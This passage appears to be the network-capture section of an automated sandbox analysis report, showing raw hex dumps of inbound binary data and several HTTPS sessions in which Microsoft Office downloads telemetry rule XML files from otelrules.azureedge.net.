93 e2 84 d4 a6 56 92 c5 9a 24 5d f6 c9 07 ca 9f 37 5c fb d6 cb 3b a1 65 cc 9a Data Ascii: oc^~?i![{VUmSJX_}Y{j}9w_kZx5j'DRf1mJ&4O)%4WmV%#?o*4:=tyiO<7SO-z.t\|Gh:6\|jV$]7\;e
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 8f 7e e7 9b 67 95 f5 c5 76 de 18 d0 f4 d7 d1 e5 fb 1c f1 c5 1c 48 cb 0e cf 99 53 e5 fb ed fd f6 af 25 d5 23 6f 31 24 f2 24 96 16 dc c9 bd fe 5f c6 bb ff 00 85 ba 35 f5 de 8b 7b 2d ee b9 b6 de 34 f2 fc ab 77 55 6d a7 92 ab e9 ee 6b cf 95 38 38 73 37 73 4a 92 7e cd bb d8 f2 ff 00 87 b2 db 7f c2 5b a8 e8 da 4b c9 75 27 da fc 8b 8b bf ba a8 bb be 69 5f 1c ee af 69 f1 87 8a ee 74 5d 2e c5 f4 8d 1e 7b c4 b9 b8 8e ca d3 c9 4f f9 68 cb f7 b6 ff 00 0a 8a a3 67 69 63 a1 e8 ed a7 f8 6b 43 b2 d3 ad ee a1 dc 89 0a 7e f3 9f e3 6e ec 7e b5 3f 88 35 28 ed 7c 27 0e 9c c6 4f 33 47 b7 66 59 5f 6e e7 90 ae 59 9b 15 55 ab c2 b5 6e 65 f8 f5 ff 00 2d ba 11 46 94 a4 a3 19 ad bf 0d 3f ce df 79 4b c5 ba fd d6 81 e1 1d 4f 5a 6b 77 ba be 58 57 7f cf f2 bc 9e ed fe cf e9 5e 67 f1 16 Data Ascii: ~gvHS%#o1$$_5{-4wUmk88s7sJ~[Ku'i_it].{OhgickC~n~?5(\|'O3GfY_nYUne-F?yKOZkwXW^g
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 4a 8b b7 f0 3d eb 2f 53 b5 d6 f4 fd 63 e4 bb ba 89 a3 db bf 7f cd 15 79 3c b1 9b e4 e6 b2 3d be 64 95 96 fe 45 d1 72 ac fb 75 18 23 92 d6 5f dd 79 49 fe b5 ff 00 c0 55 9b b1 a0 8d 2d a3 69 2e b4 e9 23 7d df 67 df bb 7f fd f3 58 f1 dc 69 f3 df 6d 6b b8 ef 2e 37 fe fa 58 6d 76 f9 35 b0 96 36 17 5a 4c af 1d ec 3f 69 dd f3 ac a8 db 9d 7f d9 aa 95 37 0d 81 4a 2e d2 6d a6 5d d0 24 5b 59 96 f2 d5 2d 64 b7 f2 99 a5 f3 77 2f cd fe e3 74 ae 87 4f b6 bf bd d3 9a de 43 63 6b 1f cb 26 e5 4d df 2d 65 e9 f7 76 76 36 2d 6a da 6c 72 47 74 8a b2 ba bf fd f3 c5 45 ab 6a 1a ed ec 6f 0e 9d 63 37 d9 ff 00 d5 ff 00 75 7f 16 a1 38 be b7 39 aa 46 73 93 7b 79 b3 52 eb c3 86 fe ed 24 87 58 f3 2e 21 f9 b6 fd e5 fb df 7b 6f 4a c7 f1 5e 8d ac e9 fa c4 57 9b d1 95 93 e4 b8 df f7 3f de Data Ascii: J=/Scy<=dEru#_yIU-i.#}gXimk.7Xmv56ZL?i7J.m]$[Y-dw/tOCck&M-evv6-jlrGtEjoc7u89Fs{yR$X.!{oJ^W?
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: ad 4e 08 ca 51 69 a6 6d 47 ab d9 c1 63 0c 30 da 79 b2 6c 6f 39 e6 fe 36 35 52 1d 42 74 b1 48 63 f3 17 6b ee de 9f 7b f3 aa 2a 9b b6 ff 00 0f fb 94 8d 71 3d bd d2 6d fb b5 cd 0c 1d 35 7d 2f 7e fa 9d 53 c5 55 a9 66 de dd 91 6f 4b b7 64 ba f9 a4 93 e6 fb ee 9f 7a ba eb 1f 15 ea 1a 75 8d dd ad ac fb 56 f3 6f 9d e7 26 e6 76 0b b7 ef 7f 08 ae 75 64 49 23 fd df fe 3f 55 a4 dc b5 75 30 d4 eb 69 35 72 a8 e3 6a d1 f8 25 66 7b 97 84 fc 7b a6 6a da 1c d6 f7 d7 f1 e9 37 96 f0 aa c3 37 d3 8f 97 fd aa d1 f0 dd d5 8b ec 9b cb ff 00 47 b5 95 65 fb 74 cf b9 66 6f bb f2 e7 fd aa f9 fe 19 1b cc ff 00 59 f3 57 5d e0 31 73 aa 6b 10 db cd 77 ba 38 b6 b3 db bb ed 59 94 7f 08 3f c3 eb 5e 06 37 26 a5 46 12 9c 65 64 7d 0e 07 3a 9d 79 c6 15 23 76 7b 2d e5 b6 a1 f3 c7 67 7f 24 52 4e Data Ascii: NQimGc0ylo965RBtHck{*q=m5}/~SUfoKdzuVo&vudI#?Uu0i5rj%f{{j77GetfoYW]1skw8Y?^7&Fed}:y#v{-g$RN
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 43 f0 2b c2 b0 23 ff 00 68 78 da 75 f2 be fa 45 b7 e4 a5 93 e0 d7 84 6e 24 9a 68 7c 6f 3f fb 6e f0 7f f5 ab d7 75 ef 1b f8 33 4e 93 cb 9b 52 b5 95 97 f8 2c 5d 65 fc ca 7f 8d 60 78 cb e2 26 9f 65 f2 e9 7a 96 9a b1 f9 3f 22 4d 6b 25 d3 23 7f c0 3f f4 16 ad 15 6c 2b e9 1f ba 3f e4 67 ec 71 ba 5e 53 fb e6 79 d4 9f 08 3c 19 17 ef 1b c6 13 b2 af f1 f9 7b 76 7e 95 5f fe 15 5f 81 5b 6b 43 e2 f7 95 5f ee 7e fd 7e 76 ac 8f 1a 78 9f c4 7e 25 91 db 54 ff 00 4a b1 8a 6f dc a7 91 e4 41 fe f2 c6 3b fd 6b 9b b1 d2 3c db af 33 f7 76 b6 bb 37 4d f2 7f e8 39 eb 5e 75 4c 7a 55 2d 0a 51 b7 9a 5f e4 7a d4 b2 ba 92 a6 a5 52 bc ef e5 29 7e ac ee 3f e1 58 f8 3a cb c9 9a 6d 76 eb 74 bf ea 7f 7f f2 bf fb b5 7b 54 f0 d5 8a 69 b7 12 2d de a5 78 ab f7 2d 37 b3 33 b7 ad 79 dc 29 3a c9 Data Ascii: C+#hxuEn$h\|o?nu3NR,]e`x&ez?"Mk%#?l+?gq^Sy<{v~__[kC_~~vx~%TJoA;k<3v7M9^uLzU-Q_zR)~?X:mvt{Ti-x-73y):
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: fb ad 5d 11 71 96 a7 3c e4 e3 a3 d8 56 3b 23 49 1a 09 3c bf ef a5 5d b7 4b 69 e0 f3 37 ce cb 12 7c 90 bf f4 a9 34 f8 2f 9b 7c 9e 5c eb 1a 7d f7 74 da bf 8a ff 00 85 2d d5 ac 51 46 93 4d e5 c5 fc 49 f3 fc af ed 9e 94 dd ef a3 27 9e 1a 5c 2d cc 50 40 ea b1 c8 aa d5 4e 18 f6 ea 3b a3 ff 00 57 b1 bf e0 15 67 4f 4b 6d 4a 09 bc b9 e3 8b ec ff 00 7d 37 ee 5e 7d 29 8b 15 b5 c5 f7 93 26 f5 fb db 1f 7a fc ff 00 d6 a7 97 da c6 c5 29 aa 13 bb 33 75 07 8a 5b a6 66 9f 73 37 cb b1 13 f8 6a 85 c5 fc 8b 62 ed 0c 72 7f b0 ef 5a ba a4 fa 7d bc 89 6f 0c 9b 5b e6 fe 0d db fd 4f b9 ac 78 e0 6d 4a 4f 39 6f fe 55 f9 76 7f f1 4b 5a 46 9d b4 22 55 f5 e6 32 af 25 be 48 e6 68 7e 6d af f3 ff 00 7b f3 ef 4d 87 c4 d1 45 6e 96 73 69 b2 44 ad f7 ee 21 dd b9 3f de 5f eb 5b 1a 86 93 7c df Data Ascii: ]q<V;#I<]Ki7\|4/\|\}t-QFMI'\-P@N;WgOKmJ}7^})&z)3u[fs7jbrZ}o[OxmJO9oUvKZF"U2%Hh~m{MEnsiD!?_[\|
2024-12-06 17:45:58 UTC	16067	IN	Data Raw: f5 8e 81 f0 f7 52 8d 24 86 4d 2a e1 bf 81 36 79 5f 2f d1 ab 17 c5 9f 0f 2e 57 7b 69 f1 c7 f6 75 fb 9b 3e ed 7a 92 cb ef 1f 76 57 67 8e b3 44 a5 ef 41 c4 e3 f5 a8 e0 5b 14 b8 92 4f de 7c bb 3f bc f9 5c 9c d5 5d 26 ee ce 59 26 b3 ba 82 4f 2e e1 19 7c e8 7f d6 a3 7f 07 5e 3e f7 5a d2 d6 b4 3d 5d a3 f2 64 8f f7 6b fd ff 00 96 b1 6e 2c e7 81 11 6d de 48 a4 6f fc 7d ab 8f 92 ad 2b 46 7a 7d cc ef 53 a3 5a ee 0e eb e6 6e 68 3a cf 8a ad e7 b7 85 7c 43 a9 2f d9 fe 54 86 19 db f4 cf 15 b3 e1 bf 89 7e 26 f0 f6 a4 8b 1d fd d5 c5 bc af fb eb 7b b9 d9 95 ff 00 dc 7e ab 5c 7e 8f fd a6 f7 49 25 bf 99 71 27 f7 13 ef 55 cf 11 58 6a 7e 64 33 5c 41 25 ad bb 3f c9 33 fc cb bb ba ae 3b d3 8a a8 ef 75 ee ae be 62 a9 ec ae b5 f7 9f 47 d8 fa 37 c2 3e 20 ff 00 84 97 4e fb 66 9f 27 Data Ascii: R$M*6y_/.W{iu>zvWgDA[O\|?\]&Y&O.\|^>Z=]dkn,mHo}+Fz}SZnh:\|C/T~&{~\~I%q'UXj~d3\A%?3;ubG7> Nf'
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 00 84 93 c1 92 ea 9b ae 3c 3d 1e d9 7f e7 8b fd ca d2 b1 f1 1f 81 6d dd 16 1d 36 75 6f bd f3 c0 b5 c3 b2 e9 e9 bf cc 8e 35 f9 17 7e cf 96 ac ad 94 13 a2 35 be ad e5 47 bf 73 a3 ed dd b7 f1 ab a3 98 d5 72 6a 12 8d fd 12 fc 74 33 af 95 d0 e5 bc d4 ad ea df f9 9e 99 63 e2 1f 04 cf 07 fc 78 7e ed be fb a6 dd df f7 cd 6e 58 eb 1e 04 b7 85 1b 4f b0 8e e9 5b f8 f6 34 5d 3f da f5 fc 2b c8 da da 07 f9 9b cb 95 7f 83 ec fb 55 9f eb 9a b1 a6 ca b0 4c 91 c7 e7 db f9 4f b9 de 69 d5 77 ff 00 df 3d 6b d9 a7 8b a9 24 b9 ed fd 7d ff 00 99 e2 cf 2d a1 17 fb bb df fa d3 fa 47 b1 5a f8 f3 e1 95 9c 8e b6 af 3a b4 5b 7c e4 fb aa f9 eb b7 83 54 f5 0f 1a 78 41 a3 f3 2d 7c 51 aa aa ca fb 9e 27 b1 56 f2 57 ea 9f 78 57 98 ea 1a a6 82 63 b7 fb 56 8b 63 2f d9 df 76 ff 00 2f fd 77 fb Data Ascii: <=m6uo5~5Gsrjt3cx~nXO[4]?+ULOiw=k$}-GZ:[\|TxA-\|Q'VWxWcVc/v/w
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: b7 f2 e6 83 7a b7 f0 3f f1 fd 6b 35 b4 fb 3d 06 4f 31 64 8e dd 5b fb ef b7 e6 fa 57 cf 9e 26 f8 9d f1 33 4d b5 4d 1f 4f f1 25 c7 fa 62 2b 7d ae 6f 2d a7 46 ef f3 b7 dd 15 95 63 79 e2 5b 8d 29 ff 00 e1 22 9e 4b a9 9b fd 4b da 3c cc af fe db ee ae 0a 99 c4 7d 82 ab 4b 5f 26 ec 7a b4 f2 4a 9e db 92 a3 b7 a2 6c fa 42 e3 c7 16 36 11 a7 9d 24 f2 ee 7f bf 0e d6 d8 bf ed 73 5c 8f c4 ef 1e 69 ba ce 8f f6 5d 36 09 d5 bc d5 6d ee fb 7a 7a 7b 9a f0 cf 15 5a 4f e4 5b c7 a8 6b 56 b6 11 f9 df 3e f9 f7 4f ec aa 8b 9f 9b 6f e5 50 68 37 16 6c f3 6a 56 b3 ea b3 c7 60 9b 6d d3 fd 54 5b 77 7d f2 5f 3f 2f fb 66 bc 79 e6 b8 8c 4c 1c 1a 49 33 d7 a7 94 e1 f0 f3 53 4d dd 1d b7 da 65 ba 8e 69 b5 09 20 5b 59 77 6f 74 fe 36 3f ef 56 15 d5 ee 9d 6b fb b6 9e 46 b1 8b 74 49 0b be d8 3f Data Ascii: z?k5=O1d[W&3MMO%b+}o-Fcy[)"KK<}K_&zJlB6$s\i]6mzz{ZO[kV>OoPh7ljV`mT[w}_?/fyLI3SMei [Ywot6?VkFtI?

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:58 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:58 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 2aea0aed-201e-003f-608a-476d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174558Z-1746fd949bdqpttnhC1EWRe1wg000000047000000000pvnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:58 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:58 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:58 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:58 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 91cc5c21-301e-000c-73ef-46323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174558Z-1746fd949bdjrnwqhC1EWRpg2800000004k000000000ksfa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:58 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:58 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:58 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: baa0a071-001e-0082-5b91-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174558Z-1746fd949bdhk6hphC1EWRaw3c000000049g00000000g4en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:59 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:59 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:59 UTC	495	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:59 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 8a7a9c83-801e-0078-4106-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174559Z-r1cf579d778dc6d7hC1EWR2vs800000000hg000000003exd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-12-06 17:45:59 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:59 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:59 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:59 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 5bdbb5de-801e-0067-47cb-45fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174559Z-1746fd949bdlnsqphC1EWRurw000000004b000000000pmaq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:00 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:00 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ddb132fa-c01e-008d-18cc-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174600Z-1746fd949bdjzh7thC1EWR3g6400000004eg00000000yqpq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:00 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:46:00 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:46:00 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:46:00 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 5ce939f7-901e-00ac-7ec7-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174600Z-1746fd949bdfg4slhC1EWR34t00000000490000000011yfz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:46:00 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" 